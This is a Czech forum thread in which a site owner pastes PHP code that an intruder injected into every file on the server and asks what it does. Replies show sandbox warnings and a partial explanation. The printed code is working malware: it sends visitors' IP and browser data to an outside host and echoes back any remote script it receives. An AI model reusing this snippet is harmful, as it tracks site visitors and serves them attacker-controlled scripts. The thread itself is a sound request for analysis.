Stránka 1 z 1

Copak dělá tenhle kus kódu?

Napsal: sob 5. bře 2016, 21:41
od Trinom
Zdravíčko. Nějakej dobrák mi naboural server a do každýho PHP souboru strčil kus svýho kódu. Všechny kousky vypadají identicky, bohužel moje znalosti PHP nesahají tak daleko, abych rozluštil, co to vlastně dělá. Zabezpečení jsem si upravil, takže to můžeme nechat stranou. Tady je ten kód. Předem díky za rozluštění.

Kód: Vybrat vše

<?php
#a58f2f#
error_reporting(0); @ini_set('display_errors',0); $wp_wfq714 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_wfq714) && !preg_match ('/bot/i', $wp_wfq714))){
$wp_wfq09714="http://"."http"."title".".com/"."title"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_wfq714);
if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_wfq09714); curl_setopt ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_714wfq = curl_exec ($ch); curl_close($ch);} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) {$wp_714wfq = @file_get_contents($wp_wfq09714);}
elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_714wfq=@stream_get_contents(@fopen($wp_wfq09714, "r"));}}
if (substr($wp_714wfq,1,3) === 'scr'){ echo $wp_714wfq; }
#/a58f2f#
?>

Kus kódu PHP

Napsal: sob 5. bře 2016, 21:49
od Vlastik80
WARNING error_reporting() has been disabled for security reasons on line number 3

WARNING ini_set() has been disabled for security reasons on line number 3

NOTICE Undefined variable: wp_714wfq on line number 8

Re: Copak dělá tenhle kus kódu?

Napsal: ned 6. bře 2016, 20:19
od Bacon
Ahoj,

je to asi něco jako:
Pokud prohlížeč návštěvníka obsahuje "Gecko" nebo "MSIE" a zároveň neobsahuje "bot", vytvoř URL, která v parametrech odešle: IP adresu návštěvníka, adresu webserveru, verzi prohlížeče.

Pokud je na serveru dostupné CURL, přistup na dříve vytvořenou adresu, pokud ne, zkus jiné způsoby (file_get_contents, fopen, stream_get_contents).
Útočník má někde sběrný skript (třeba sberac.cz/sberac.php) a když na něj přijde požadavek, uloží (do databáze, textového souboru, mailu,...) adresu napadeného webu.